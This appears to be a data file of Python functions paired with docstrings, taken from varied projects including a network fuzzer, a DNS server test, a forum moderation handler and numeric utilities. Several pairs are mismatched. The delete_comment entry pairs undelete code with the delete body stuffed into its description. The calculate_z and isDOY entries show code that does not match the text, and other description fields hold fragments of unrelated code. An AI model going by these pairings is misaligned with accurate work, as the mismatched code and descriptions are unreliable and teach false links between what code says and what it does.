is None:\n raise ValueError(\"act has not been called yet\")\n return self._action_attention\n", "nl": "Returns the attention over the actions from the previous call toact.Returns:list[np.array or None]: batch of attention"} {"code": "def get_name_0(frame: Frame):\n this = frame.local_vars.get_this()\n clazz = this.extra\n\n name = clazz.java_name\n name_obj = j_string(clazz.loader, name)\n\n frame.operand_stack.push_ref(name_obj)\n\n", "nl": "private native String getName0():param frame::return:"} {"code": "def run(self, fuzz: bool = True, retry: bool = True) -> bool:\n try:\n self.logger.open_test_case(f\"{self.id}: {self.name} {'[SENDING ORIGINAL]' if not fuzz else ''}\",\n name=self.name, index=self.id)\n self.logger.log_info(\n f\"Type: {type(self.request.mutant).__name__}. \"\n f\"Default value: {repr(self.request.mutant.original_value)}. \"\n f\"Case {self.id} of {self.session.num_mutations} overall.\")\n\n self.open_fuzzing_target(retry=retry)\n\n fuzzed_sent = False\n for idx, edge in enumerate(self.path, start=1):\n request = edge.dst\n callback = edge.callback\n\n if request == self.request:\n if fuzz:\n self.logger.open_test_step(f'Fuzzing node {request.name}')\n callback_data = self._callback_current_node(node=request, edge=edge)\n self.transmit(request, callback_data=callback_data)\n fuzzed_sent = True\n else:\n self.logger.open_test_step(f'Transmit node {request.name}')\n callback_data = self._callback_current_node(node=request, edge=edge, original=True)\n self.transmit(request, callback_data=callback_data, original=True)\n\n else:\n self.logger.open_test_step(f'Transmit node {request.name}')\n callback_data = self._callback_current_node(node=request, edge=edge, original=True)\n self.transmit(request, callback_data=callback_data, original=not fuzzed_sent)\n\n if self.session.opts.new_connection_between_requests and len(self.path) > idx:\n try:\n self.session.target.close()\n self.open_fuzzing_target(retry=False)\n except (exception.FuzzowskiTargetConnectionFailedError, Exception) as e:\n self.add_error(e)\n self.session.add_suspect(self)\n raise exception.FuzzowskiTestCaseAborted(str(e))\n\n self.session.target.close()\n self.session.add_latest_test(self)\n return True\n except exception.FuzzowskiPaused:\n return False\n except exception.FuzzowskiTestCaseAborted as e:\n self.logger.log_info(f'Test case aborted due to transmission error: {str(e)}')\n self.session.add_latest_test(self)\n return True\n", "nl": "Run the test case, transmitting the full pathArgs:fuzz: (default True) Send the fuzzed node. If it is false, it transmit the original (for tests)retry: (default True) Retry if connection failsReturns: True if the TestCase was run and data was transmitted (even if transmission was cut)False if there was a connection issue and the target was paused, so the TestCase was not run"} {"code": "def _warn_unsafe_extraction_path(path):\n if os.name == 'nt' and not path.startswith(os.environ['windir']):", "nl": "If the default extraction path is overridden and set to an insecurelocation, such as /tmp, it opens up an opportunity for an attacker toreplace an extracted file with an unauthorized payload. Warn the userif a known insecure location is used.See Distribute #375 for more details."} {"code": "def save_config(self, config):\n config_json = convert_json(config)\n if self.exp_name is not None:\n config_json['exp_name'] = self.exp_name\n if proc_id()==0:\n output = json.dumps(config_json, separators=(',',':\\t'), indent=4, sort_keys=True)\n print(colorize('Saving config:\\n', color='cyan', bold=True))\n print(output)\n with open(osp.join(self.output_dir, \"config.json\"), 'w') as out:\n out.write(output)\n", "nl": "Log an experiment configuration.Call this once at the top of your experiment, passing in all importantconfig vars as a dict. This will serialize the config to JSON, whilehandling anything which can't be serialized in a graceful way (writingas informative a string as possible).Example use:.. code-block:: pythonlogger = EpochLogger(**logger_kwargs)logger.save_config(locals())"} {"code": "def for_frame(cls, frame, use_cache=True):\n return cls.for_filename(frame.f_code.co_filename, frame.f_globals or {}, use_cache)\n\n @classmethod", "nl": "Returns the `Source` object corresponding to the file the frame is executing in."} {"code": "def calculate_z_serial_purepython(maxiter, zs, cs):\n x_step = (float(x2 - x1) / float(desired_width))\n y_step = (float(y1 - y2) / float(desired_width))\n x = []\n y = []\n ycoord = y2\n while ycoord > y1:\n y.append(ycoord)\n ycoord += y_step\n xcoord = x1\n while xcoord < x2:\n x.append(xcoord)\n xcoord += x_step\n zs = []\n cs = []\n for ycoord in y:\n for xcoord in x:\n zs.append(complex(xcoord, ycoord))\n cs.append(complex(c_real, c_imag))\n\n print \"Length of x:\", len(x)\n print \"Total elements:\", len(zs)\n start_time = time.time()\n output = calculate_z_serial_purepython(max_iterations, zs, cs)\n end_time = time.time()\n secs = end_time - start_time\n print calculate_z_serial_purepython.func_name + \" took\", secs, \"seconds\"\n\n assert sum(output) == 33219980\n\n", "nl": "Calculate output list using Julia update ruleoutput = [0] * len(zs)for i in range(len(zs)):n = 0z = zs[i]c = cs[i]while n < maxiter and abs(z) < 2:z = z * z + cn += 1output[i] = nreturn output@profiledef calc_pure_python(draw_output, desired_width, max_iterations):Create a list of complex co-ordinates (zs) and complex parameters (cs), build Julia set and display"} {"code": "def test_cacheOverride(self):\n dummyResolver = object()\n self.assertEqual(\n server.DNSServerFactory(caches=[object(), dummyResolver]).cache,\n dummyResolver)\n\n", "nl": "L{server.DNSServerFactory.__init__} assigns the last object in theC{caches} list to L{server.DNSServerFactory.cache}."} {"code": "def do_pt_set_sinkhole(self, cmd_args):\n parser = argparse.ArgumentParser(usage=\"pt_set_sinkhole\")\n parser.add_argument(\n \"query\",\n action=\"store\",", "nl": "Title: PassiveTotal Set Sinkhole StatusDescription: Set the sinkhole status for an IPArguments: yes"} {"code": "def unexportObject(self, objectPath):\n self.objHandler.unexportObject(objectPath)\n", "nl": "Stops exporting an object over DBus@type objectPath: C{string}@param objectPath: Object to stop exporting"} {"code": "def isDOY(self) -> bool:\n return self._hasOnly(\"day\")\n\n @property", "nl": "isDayOfYear <=> a dd.mm but not yearreturn self._hasOnly(\"month\", \"day\")@propertydef isDOM(self) -> bool:isDayOfMonth <=> a dd but no month"} {"code": "def _AddSlots(message_descriptor, dictionary):\n dictionary['__slots__'] = ['_cached_byte_size',\n '_cached_byte_size_dirty',\n '_fields',\n '_unknown_fields',\n '_is_present_in_parent',\n '_listener',\n '_listener_for_children',\n '__weakref__',\n '_oneofs']\n\n", "nl": "Adds a __slots__ entry to dictionary, containing the names of all validattributes for this message type.Args:message_descriptor: A Descriptor instance describing this message type.dictionary: Class dictionary to which we'll add a '__slots__' entry."} {"code": "def test_clientPresentsCertificate(self):\n cProto, sProto, pump = self.serviceIdentitySetup(\n u\"valid.example.com\",\n u\"valid.example.com\",\n validCertificate=True,\n serverVerifies=True,\n clientPresentsCertificate=True,\n )\n\n self.assertEqual(cProto.wrappedProtocol.data,\n b'greetings!')\n\n cErr = cProto.wrappedProtocol.lostReason\n sErr = sProto.wrappedProtocol.lostReason\n self.assertIsNone(cErr)\n self.assertIsNone(sErr)\n\n", "nl": "When the server verifies and the client presents a valid certificatefor that verification by passing it toL{sslverify.optionsForClientTLS}, communication proceeds."} {"code": "def delete_comment():\n form = forms.UndeleteCommentForm()\n if form.validate():\n try:\n comment = SubPostComment.get(SubPostComment.cid == form.cid.data)\n except SubPostComment.DoesNotExist:\n return jsonify(status=\"error\", error=_(\"Comment does not exist\"))\n\n post = (\n SubPost.select(SubPost.pid, SubPost.title, Sub.sid, Sub.name)\n .join(Sub)\n .where(SubPost.pid == comment.pid)\n .get()\n )\n sid = post.sid.get_id()\n sub_name = post.sid.name\n sub = Sub.get(Sub.sid == post.sid.get_id())\n\n if sub.status != 0 and not current_user.is_admin():\n return jsonify(status=\"error\", error=[_(\"Sub is disabled\")])\n\n if not comment.status:\n return jsonify(status=\"error\", error=_(\"Comment is not deleted\"))\n\n if comment.status == 1:\n return jsonify(\n status=\"error\", error=_(\"Can not un-delete a self-deleted comment\")\n )\n\n if not (\n current_user.is_admin()\n or (comment.status == 2 and current_user.is_mod(sid))\n ):\n return jsonify(status=\"error\", error=_(\"Not authorized\"))\n\n postlink, sublink = misc.post_and_sub_markdown_links(post)\n as_admin = not current_user.is_mod(sid)\n if as_admin:\n content = _(\n \"The site administrators restored a comment you made on the post %(postlink)s in %(sublink)s. \"\n \"Reason: %(reason)s\",\n sublink=sublink,\n postlink=postlink,\n reason=form.reason.data,\n )\n else:\n content = _(\n \"The moderators of %(sublink)s restored a comment you made on the post %(postlink)s. \"\n \"Reason: %(reason)s\",\n sublink=sublink,\n postlink=postlink,\n reason=form.reason.data,\n )\n\n misc.create_notification_message(\n mfrom=current_user.uid,\n as_admin=as_admin,\n sub=sid,\n to=comment.uid.get_id(),\n subject=_(\"Moderation action: comment restored\"),\n content=content,\n )\n misc.create_sublog(\n misc.LOG_TYPE_SUB_UNDELETE_COMMENT,\n current_user.uid,\n sid,\n comment=form.reason.data,\n link=url_for(\n \"sub.view_perm\",\n sub=sub_name,\n pid=comment.pid.get_id(),\n cid=comment.cid,\n slug=\"_\",\n ),\n admin=True\n if (not current_user.is_mod(sid) and current_user.is_admin())\n else False,\n target=comment.uid,\n )\n related_reports = SubPostCommentReport.select().where(\n SubPostCommentReport.cid == comment.cid\n )\n for report in related_reports:\n misc.create_reportlog(\n misc.LOG_TYPE_REPORT_COMMENT_UNDELETED,\n current_user.uid,\n report.id,\n log_type=\"comment\",\n desc=form.reason.data,\n )\n comment.status = 0\n comment.save()\n\n return jsonify(status=\"ok\")\n return json.dumps({\"status\": \"error\", \"error\": get_errors(form)})\n\n\n@do.route(\"/do/vote//\", methods=[\"POST\"])", "nl": " deletes a comment form = forms.DeleteCommentForm()if form.validate():try:comment = SubPostComment.get(SubPostComment.cid == form.cid.data)except SubPostComment.DoesNotExist:return jsonify(status=\"error\", error=_(\"Comment does not exist\"))if comment.status:return jsonify(status=\"error\", error=_(\"Comment is already deleted\"))post = (SubPost.select(SubPost.pid, SubPost.title, Sub.sid, Sub.name).join(Sub).where(SubPost.pid == comment.pid).get())sid = post.sid.get_id()sub_name = post.sid.namesub = Sub.get(Sub.sid == post.sid.get_id())if sub.status != 0 and not current_user.is_admin():return jsonify(status=\"error\", error=[_(\"Sub is disabled\")])if comment.uid_id != current_user.uid and not (current_user.is_admin() or current_user.is_mod(sid)):return jsonify(status=\"error\", error=_(\"Not authorized\"))postlink, sublink = misc.post_and_sub_markdown_links(post)if comment.uid_id != current_user.uid and (current_user.is_admin() or current_user.is_mod(sid)):as_admin = not current_user.is_mod(sid)if as_admin:comment.status = 3content = _(\"The site administrators deleted a comment you made on the post %(postlink)s. Reason: %(reason)s\",postlink=postlink,reason=form.reason.data,)else:comment.status = 2content = _(\"The moderators of %(sublink)s deleted a comment you made on the post %(postlink)s. \"\"Reason: %(reason)s\",sublink=sublink,postlink=postlink,reason=form.reason.data,)misc.create_notification_message(mfrom=current_user.uid,as_admin=as_admin,sub=sid,to=comment.uid.get_id(),subject=_(\"Moderation action: comment deleted\"),content=content,)misc.create_sublog(misc.LOG_TYPE_SUB_DELETE_COMMENT,current_user.uid,sid,comment=form.reason.data,link=url_for(\"sub.view_perm\",sub=sub_name,pid=post.pid,cid=comment.cid,slug=\"_\",),admin=Trueif (not current_user.is_mod(sid) and current_user.is_admin())else False,target=comment.uid,)related_reports = SubPostCommentReport.select().where(SubPostCommentReport.cid == comment.cid)for rel_report in related_reports:misc.create_reportlog(misc.LOG_TYPE_REPORT_COMMENT_DELETED,current_user.uid,rel_report.id,log_type=\"comment\",desc=form.reason.data,)else:comment.status = 1comment.save()return jsonify(status=\"ok\")return json.dumps({\"status\": \"error\", \"error\": get_errors(form)})@do.route(\"/do/undelete_comment\", methods=[\"POST\"])@login_requireddef undelete_comment(): un-deletes a comment "} {"code": "def export(self, remote_function):\n if self._worker.load_code_from_local:\n return\n\n function = remote_function._function\n pickled_function = pickle.dumps(function)\n\n check_oversized_pickle(pickled_function,\n remote_function._function_name,\n \"remote function\", self._worker)\n key = (b\"RemoteFunction:\" + self._worker.current_job_id.binary() + b\":\"\n + remote_function._function_descriptor.function_id.binary())\n self._worker.redis_client.hmset(\n key, {\n \"job_id\": self._worker.current_job_id.binary(),\n \"function_id\": remote_function._function_descriptor.\n function_id.binary(),\n \"function_name\": remote_function._function_name,\n \"module\": function.__module__,\n \"function\": pickled_function,\n \"collision_identifier\": self.compute_collision_identifier(\n function),\n \"max_calls\": remote_function._max_calls\n })\n self._worker.redis_client.rpush(\"Exports\", key)\n", "nl": "Pickle a remote function and export it to redis.Args:remote_function: the RemoteFunction object."} {"code": "def _add(self, fact):\n raise NotImplementedError\n", "nl": "Add a new ``Fact`` to the backend.Args:fact (hamster_lib.Fact): Fact to be added.Returns:hamster_lib.Fact: Added ``Fact``.Raises:ValueError: If the passed fact has a PK assigned. New facts should not have one.ValueError: If the timewindow is already occupied."} {"code": "def reap_threads(func):\n if not thread:\n return func\n\n @functools.wraps(func)", "nl": "Use this function when threads are being used. This willensure that the threads are cleaned up even when the test fails.If threading is unavailable this function does nothing."} {"code": "def generate_target_var_names(variables, seq_len):\n return [variables['target_var']+str(ii)+'_' for ii in range(seq_len)]\n", "nl": "Generate target variable names when there are multiple targets.Parameters----------variables : dictionarySpecifies the variables bound to input/task layers.seq_len: intSpecifies the worst-case target sequence length.Returns-------list of target variable names"} {"code": "def obr_repr(obj):\n\n ie. \"self.crash_reporter.application_name\"\n Returns ValueError if value was not found in the scope of the traceback.\n :param tb: traceback\n :param s: lookup string\n :return: value of the\n \"\"\"", "nl": "Return obj representation if possible.try:return repr(obj)# pylint: disable-msg=broad-exceptexcept Exception as e:logging.error(e)return 'String Representation not found'def string_variable_lookup(tb, s):Look up the value of an object in a traceback by a dot-lookup string."} {"code": "def parse(fp=None, environ=os.environ, keep_blank_values=0, strict_parsing=0):\n if fp is None:\n fp = sys.stdin\n if not 'REQUEST_METHOD' in environ:\n environ['REQUEST_METHOD'] = 'GET'\n if environ['REQUEST_METHOD'] == 'POST':\n ctype, pdict = parse_header(environ['CONTENT_TYPE'])\n if ctype == 'multipart/form-data':\n return parse_multipart(fp, pdict)\n elif ctype == 'application/x-www-form-urlencoded':\n clength = int(environ['CONTENT_LENGTH'])\n if maxlen and clength > maxlen:\n raise ValueError, 'Maximum content length exceeded'\n qs = fp.read(clength)\n else:\n qs = ''\n if 'QUERY_STRING' in environ:\n if qs: qs = qs + '&'\n qs = qs + environ['QUERY_STRING']\n elif sys.argv[1:]:\n if qs: qs = qs + '&'\n qs = qs + sys.argv[1]\n environ['QUERY_STRING'] = qs\n elif 'QUERY_STRING' in environ:\n qs = environ['QUERY_STRING']\n else:\n if sys.argv[1:]:\n qs = sys.argv[1]\n else:\n qs = \"\"\n environ['QUERY_STRING'] = qs\n return urlparse.parse_qs(qs, keep_blank_values, strict_parsing)\n\n\n", "nl": "Parse a query in the environment or from a file (default stdin)Arguments, all optional:fp : file pointer; default: sys.stdinenviron : environment dictionary; default: os.environkeep_blank_values: flag indicating whether blank values inpercent-encoded forms should be treated as blank strings.A true value indicates that blanks should be retained asblank strings. The default false value indicates thatblank values are to be ignored and treated as if they werenot included.strict_parsing: flag indicating what to do with parsing errors.If false (the default), errors are silently ignored.If true, errors raise a ValueError exception."} {"code": "def dct(x, norm=None):\n x_shape = x.shape\n N = x_shape[-1]\n x = x.contiguous().view(-1, N)\n\n v = torch.cat([x[:, ::2], x[:, 1::2].flip([1])], dim=1)\n\n Vc = torch.rfft(v, 1, onesided=False)\n\n k = - torch.arange(N, dtype=x.dtype, device=x.device)[None, :] * np.pi/(2*N)\n W_r = torch.cos(k)\n W_i = torch.sin(k)\n\n V = Vc[:, :, 0] * W_r - Vc[:, :, 1] * W_i\n\n if norm == 'ortho':\n V[:, 0] /= np.sqrt(N) * 2\n V[:, 1:] /= np.sqrt(N / 2) * 2\n\n V = 2 * V.view(*x_shape)\n\n return V\n\n", "nl": "Discrete Cosine Transform, Type II (a.k.a. the DCT)For the meaning of the parameter `norm`, see:https://docs.scipy.org/doc/ scipy.fftpack.dct.html:param x: the input signal:param norm: the normalization, None or 'ortho':return: the DCT-II of the signal over the last dimension"} {"code": "def configure_parser(parser):\n doc_builder = qidoc.parsers.get_doc_builder(args)\n doc_builder.install(args.destdir, clean=args.clean)", "nl": " Configure Parser qisys.parsers.worktree_parser(parser)qisys.parsers.project_parser(parser)qidoc.parsers.build_doc_parser(parser)group = parser.add_argument_group(\"qidoc install options\")group.add_argument(\"destdir\")group.add_argument(\"--clean\", action=\"store_true\",help=\"Clean destination first\")def do(args): Main Entry Point "} {"code": "def isList(l):\n return hasattr(l, '__iter__') \\\n or (type(l) in (types.ListType, types.TupleType))\n", "nl": "Convenience method that works with all 2.x versions of Pythonto determine whether or not something is listlike."} {"code": "def get_image_memory_withkey(roidb, config, video_index_dict, rec):\n num_images = len(roidb)\n processed_ims_cur = []\n processed_ims_newkey = []\n processed_roidb = []\n for i in range(num_images):\n roi_rec = roidb[i]\n if not roi_rec['from_rec']:\n assert os.path.exists(roi_rec['data_cur']), '%s does not exist'.format(roi_rec['data_cur'])\n assert os.path.exists(roi_rec['data_newkey']), '%s does not exist'.format(roi_rec['data_newkey'])\n im_cur = cv2.imread(roi_rec['data_cur'], cv2.IMREAD_COLOR|cv2.IMREAD_IGNORE_ORIENTATION)\n im_newkey = cv2.imread(roi_rec['data_newkey'], cv2.IMREAD_COLOR|cv2.IMREAD_IGNORE_ORIENTATION)\n else:\n video_start_index = video_index_dict[roi_rec['pattern'].split('VID/')[-1][:-10] ]\n cur_index = video_start_index + roi_rec['frame_id']\n newkey_index = video_start_index + roi_rec['newkey_id']\n cur_s = rec.read_idx(cur_index)\n _, cur_im_str = mx.recordio.unpack(cur_s)\n im_cur = mx.image.imdecode(cur_im_str).asnumpy()\n im_cur = im_cur[:,:,::-1]\n newkey_s = rec.read_idx(newkey_index)\n _, newkey_im_str = mx.recordio.unpack(newkey_s)\n im_newkey = mx.image.imdecode(newkey_im_str).asnumpy()\n im_newkey = im_newkey[:,:,::-1]\n\n if roidb[i]['flipped']:\n im_cur = im_cur[:, ::-1, :]\n im_newkey = im_newkey[:, ::-1, :]\n new_rec = roi_rec.copy()\n scale_ind = random.randrange(len(config.SCALES))\n target_size = config.SCALES[scale_ind][0]\n max_size = config.SCALES[scale_ind][1]\n im_cur, im_scale = resize(im_cur, target_size, max_size, stride=config.network.IMAGE_STRIDE)\n im_tensor_cur = transform(im_cur, config.network.PIXEL_MEANS)\n im_newkey, im_scale = resize(im_newkey, target_size, max_size, stride=config.network.IMAGE_STRIDE)\n im_tensor_newkey = transform(im_newkey, config.network.PIXEL_MEANS)\n processed_ims_cur.append(im_tensor_cur)\n processed_ims_newkey.append(im_tensor_newkey)\n im_info = [im_tensor_cur.shape[2], im_tensor_cur.shape[3], im_scale]\n new_rec['boxes'] = clip_boxes(np.round(roi_rec['boxes'].copy() * im_scale), im_info[:2])\n new_rec['im_info'] = im_info\n processed_roidb.append(new_rec)\n return processed_ims_cur, processed_ims_newkey, processed_roidb\n\n", "nl": "preprocess image and return processed roidb:param roidb: a list of roidb:return: list of img as in mxnet formatroidb add new item['im_info']0 --- x (width, second dim of im)|y (height, first dim of im)"} {"code": "def clean(self, data_frequency):\n log.debug('cleaning exchange {}, frequency {}'.format(\n self.exchange_name, data_frequency\n ))\n root = get_exchange_folder(self.exchange_name)\n\n symbols = os.path.join(root, 'symbols.json')\n if os.path.isfile(symbols):\n os.remove(symbols)\n\n local_symbols = os.path.join(root, 'symbols_local.json')\n if os.path.isfile(local_symbols):\n os.remove(local_symbols)\n\n temp_bundles = os.path.join(root, 'temp_bundles')\n\n if os.path.isdir(temp_bundles):\n log.debug('removing folder and content: {}'.format(temp_bundles))\n shutil.rmtree(temp_bundles)\n log.debug('{} removed'.format(temp_bundles))\n\n frequencies = ['daily', 'minute'] if data_frequency is None \\\n else [data_frequency]\n\n for frequency in frequencies:\n label = '{}_bundle'.format(frequency)\n frequency_bundle = os.path.join(root, label)\n\n if os.path.isdir(frequency_bundle):\n log.debug(\n 'removing folder and content: {}'.format(frequency_bundle)\n )\n shutil.rmtree(frequency_bundle)\n log.debug('{} removed'.format(frequency_bundle))", "nl": "Removing the bundle data from the catalyst folder.Parameters----------data_frequency: str"} {"code": "def append(self, node: Node, index: int) -> None:\n last = self.sentinel.prev[index]\n node.next[index] = self.sentinel\n node.prev[index] = last\n self.sentinel.prev[index] = node\n last.next[index] = node\n", "nl": "rAppends a node to the end of the list at the given index.Args:node: the new nodeindex: the index where the node should be appended."} {"code": "def generate_default_backup_name(backend_url):", "nl": "@param backend_url: URL to backend.@returns A default backup name (string)."} {"code": "def scale(self, scale_x: float, scale_y: float) -> None:\n self.tensor[:, 0] *= scale_x\n self.tensor[:, 1] *= scale_y\n theta = self.tensor[:, 4] * math.pi / 180.0\n c = torch.cos(theta)\n s = torch.sin(theta)\n\n\n self.tensor[:, 2] *= torch.sqrt((scale_x * c) ** 2 + (scale_y * s) ** 2)\n\n self.tensor[:, 3] *= torch.sqrt((scale_x * s) ** 2 + (scale_y * c) ** 2)\n\n self.tensor[:, 4] = torch.atan2(scale_x * s, scale_y * c) * 180 / math.pi\n\n @staticmethod", "nl": "Scale the rotated box with horizontal and vertical scaling factorsNote: when scale_factor_x != scale_factor_y,the rotated box does not preserve the rectangular shape when the angleis not a multiple of 90 degrees under resize transformation.Instead, the shape is a parallelogram (that has skew)Here we make an approximation by fitting a rotated rectangle to the parallelogram."} {"code": "def _fixGSV(self):\n beaconInformation = base.BeaconInformation()\n self._sentenceData['_partialBeaconInformation'] = beaconInformation\n\n keys = \"satellitePRN\", \"azimuth\", \"elevation\", \"signalToNoiseRatio\"\n for index in range(4):\n prn, azimuth, elevation, snr = [getattr(self.currentSentence, attr)\n for attr in (\"%s_%i\" % (key, index) for key in keys)]\n\n if prn is None or snr is None:\n continue\n\n satellite = base.Satellite(prn, azimuth, elevation, snr)\n beaconInformation.seenBeacons.add(satellite)\n\n", "nl": "Parses partial visible satellite information from a GSV sentence."} {"code": "def determine_alphabet(_type, sequence) -> str:\n alphabet = {\"NT\": NT, \"AA\": AA, \"DNA\": NT, \"RNA\": NT}.get(_type)\n\n if _type == \"NT\" and is_STANDARD_NT(sequence):\n alphabet = STANDARD_NT\n elif _type == \"AA\" and is_STANDARD_AA(sequence):\n alphabet = STANDARD_AA\n return alphabet\n\n\n@dispatch(type(None))", "nl": "Determine alphabet from _type and sequence.Enables us to use _type _and_ sequence to control the alphabet."} {"code": "def split(self, seps, predicate=None, index=None):\n split_match = copy.deepcopy(self)\n current_match = split_match\n ret = []\n\n for i in range(0, len(self.raw)):\n if self.raw[i] in seps:\n if not split_match:\n split_match = copy.deepcopy(current_match)\n current_match.end = self.start + i\n\n else:\n if split_match:\n split_match.start = self.start + i\n current_match = split_match\n ret.append(split_match)\n split_match = None\n\n return filter_index(ret, predicate, index)\n", "nl": "Split this match in multiple matches using given separators.:param seps::type seps: string containing separator characters:return: list of new Match objects:rtype: list"} {"code": "def fix_e714(self, result):\n (line_index, _, target) = get_index_offset_contents(result,\n self.source)\n match = BARE_EXCEPT_REGEX.search(target)\n if match:\n self.source[line_index] = '{}{}{}'.format(\n target[:result['column'] - 1], \"except BaseException:\",\n target[match.end():])\n", "nl": "Fix object identity should be 'is not' case.(line_index, offset, target) = get_index_offset_contents(result,self.source)# to convert once 'is not' -> 'is'before_target = target[:offset]target = target[offset:]match_isnot = COMPARE_NEGATIVE_REGEX_THROUGH.search(target)isnot_pos_start, isnot_pos_end = 0, 0if match_isnot:isnot_pos_start = match_isnot.start(1)isnot_pos_end = match_isnot.end()target = '{}{} {}'.format(target[:isnot_pos_start], 'in', target[isnot_pos_end:])match = COMPARE_NEGATIVE_REGEX.search(target)if match:if match.group(3).startswith('is'):pos_start = match.start(1)new_target = '{5}{0}{1} {2} {3} {4}'.format(target[:pos_start], match.group(2), match.group(3),match.group(1), target[match.end():], before_target)if match_isnot:# revert 'is' -> 'is not'pos_start = isnot_pos_start + offsetpos_end = isnot_pos_end + offset - 4 # len('not ')new_target = '{}{} {}'.format(new_target[:pos_start], 'is not', new_target[pos_end:])self.source[line_index] = new_targetdef fix_e722(self, result):fix bare except"} {"code": "def delete_revision(self, version):\n rev_url = \"{}revision/{}\".format(self.dvmdb_url, version)\n body = {\"method\": \"delete\", \"params\": [{\"url\": rev_url}], \"session\": self.session}\n response = self.make_request(body).json()\n\n return response\n", "nl": "This method is used to delete an ADOM revision from the FortiManager. The make_request method is used to submitthe request to the FortiManager.:param version: Type str.The version number corresponding to the revision to delete.:return: The json response data from the request to delete the revision."} {"code": "def _prunelowestweight(self):\n the weight of a value is computed as the product of\n\n num-accesses-of-a-value * time-to-build-the-value\n\n The values with the least such weights are evicted\n if the cache maxentries threshold is superceded.\n For implementation flexibility more than one object\n might be evicted at a time.\n \"\"\"", "nl": " prune out entries with lowest weight. numentries = len(self._dict)if numentries >= self.maxentries:# evict according to entry's weightitems = [(entry.weight, key)for key, entry in self._dict.items()]items.sort()index = numentries - self.prunenumif index > 0:for weight, key in items[:index]:# in MT situations the element might be goneself.delentry(key, raising=False)class BuildcostAccessCache(BasicCache): A BuildTime/Access-counting cache implementation."} {"code": "def vis_all_detection(im_array, detections, class_names, scale, cfg, threshold=1e-3):\n import matplotlib.pyplot as plt\n import random\n im = image.transform_inverse(im_array, cfg.network.PIXEL_MEANS)\n plt.imshow(im)\n for j, name in enumerate(class_names):\n if name == '__background__':\n continue\n color = (random.random(), random.random(), random.random())\n dets = detections[j]\n for det in dets:\n bbox = det[:4] * scale\n score = det[-1]\n if score < threshold:\n continue\n rect = plt.Rectangle((bbox[0], bbox[1]),\n bbox[2] - bbox[0],\n bbox[3] - bbox[1], fill=False,\n edgecolor=color, linewidth=3.5)\n plt.gca().add_patch(rect)\n plt.gca().text(bbox[0], bbox[1] - 2,\n '{:s} {:.3f}'.format(name, score),\n bbox=dict(facecolor=color, alpha=0.5), fontsize=12, color='white')\n plt.show()\n\n", "nl": "visualize all detections in one image:param im_array: [b=1 c h w] in rgb:param detections: [ numpy.ndarray([[x1 y1 x2 y2 score]]) for j in classes ]:param class_names: list of names in imdb:param scale: visualize the scaled image:return:"} {"code": "def get_response(self, seed_id, datetime):\n network, station, location, channel = seed_id.split(\".\")\n if self.code != network:\n responses = []\n else:\n channels = [cha for sta in self.stations for cha in sta.channels\n if sta.code == station and\n cha.code == channel and\n cha.location_code == location and\n (cha.start_date is None or\n cha.start_date <= datetime) and\n (cha.end_date is None or cha.end_date >= datetime)]\n responses = [cha.response for cha in channels\n if cha.response is not None]\n if len(responses) > 1:\n msg = \"Found more than one matching response. Returning first.\"\n warnings.warn(msg)\n elif len(responses) < 1:\n msg = \"No matching response information found.\"\n raise Exception(msg)\n return responses[0]\n", "nl": "Find response for a given channel at given time.:type seed_id: str:param seed_id: SEED ID string of channel to get response for.:type datetime: :class:`~obspy.core.utcdatetime.UTCDateTime`:param datetime: Time to get response for.:rtype: :class:`~obspy.core.inventory.response.Response`:returns: Response for time series specified by input arguments."} {"code": "def inject_path(path):\n try:\n dirname = os.path.dirname(path)\n if dirname not in sys.path:\n exists_in_sys = False\n sys.path.append(dirname)\n else:\n exists_in_sys = True\n module_name = os.path.splitext(os.path.split(path)[1])[0]\n if module_name in sys.modules:\n reload(sys.modules[module_name])\n else:\n __import__(module_name)\n if not exists_in_sys:\n sys.path.remove(dirname)\n except Exception as e:\n return e\n\n", "nl": "Imports :func: from a python file at :path: and executes it with *args, **kwargs arguments. Everytime this functionis called the module is reloaded so that you can alter your debug code while the application is running.The result of the function is returned, otherwise the exception is returned (if one is raised)"} {"code": "def set_drop_prob(drop_prob, module):\n if isinstance(module, DropBlock):\n module.drop_prob = drop_prob\n\n\nclass DropBlockScheduler(object):", "nl": "Example:from functools import partialapply_drop_prob = partial(set_drop_prob, 0.1)net.apply(apply_drop_prob)"} {"code": "def relation(*arg, **kw):\n\n This is essentially the same as\n using the ``lazy='dynamic'`` argument with :func:`relationship`::\n\n dynamic_loader(SomeClass)\n\n\n relationship(SomeClass, lazy=\"dynamic\")\n\n See the section :ref:`dynamic_relationship` for more details\n on dynamic loading.\n\n \"\"\"", "nl": "A synonym for :func:`relationship`.return relationship(*arg, **kw)def dynamic_loader(argument, **kw):Construct a dynamically-loading mapper property."} {"code": "def PEM_cert_to_DER_cert(pem_cert_string):\n\n if not pem_cert_string.startswith(PEM_HEADER):\n raise ValueError(\"Invalid PEM encoding; must start with %s\"\n % PEM_HEADER)\n if not pem_cert_string.strip().endswith(PEM_FOOTER):\n raise ValueError(\"Invalid PEM encoding; must end with %s\"\n % PEM_FOOTER)\n d = pem_cert_string.strip()[len(PEM_HEADER):-len(PEM_FOOTER)]\n return base64.decodebytes(d.encode('ASCII', 'strict'))\n", "nl": "Takes a certificate in ASCII PEM format and returns theDER-encoded version of it as a byte sequence"} {"code": "def isRectangleOverlap(self, rec1, rec2):\n if (rec1[1] >= rec2[3] or rec1[2] <= rec2[0] or rec1[3] <=rec2[1] or rec1[0] >= rec2[2]):\n return False\n\n return True", "nl": ":type rec1: List[int]:type rec2: List[int]:rtype: bool"} {"code": "def __init__(self, dataset_name, distributed, num_classes, ignore_label=255, output_dir=None):\n self._dataset_name = dataset_name\n self._distributed = distributed\n self._output_dir = output_dir\n self._num_classes = num_classes\n self._ignore_label = ignore_label\n self._N = num_classes + 1\n\n self._cpu_device = torch.device(\"cpu\")\n self._logger = logging.getLogger(__name__)\n\n self.input_file_to_gt_file = {\n dataset_record[\"file_name\"]: dataset_record[\"sem_seg_file_name\"]\n for dataset_record in DatasetCatalog.get(dataset_name)\n }\n\n meta = MetadataCatalog.get(dataset_name)\n try:\n c2d = meta.stuff_dataset_id_to_contiguous_id\n self._contiguous_id_to_dataset_id = {v: k for k, v in c2d.items()}\n except AttributeError:\n self._contiguous_id_to_dataset_id = None\n", "nl": "Args:dataset_name (str): name of the dataset to be evaluated.distributed (True): if True, will collect results from all ranks for evaluation.Otherwise, will evaluate the results in the current process.num_classes (int): number of classesignore_label (int): value in semantic segmentation ground truth. Predictions for thecorresponding pixels should be ignored.output_dir (str): an output directory to dump results."} {"code": "def services(self, names, refresh_if_none=True):\n objs = []\n\n for name in set(names):\n obj = self.service(name, 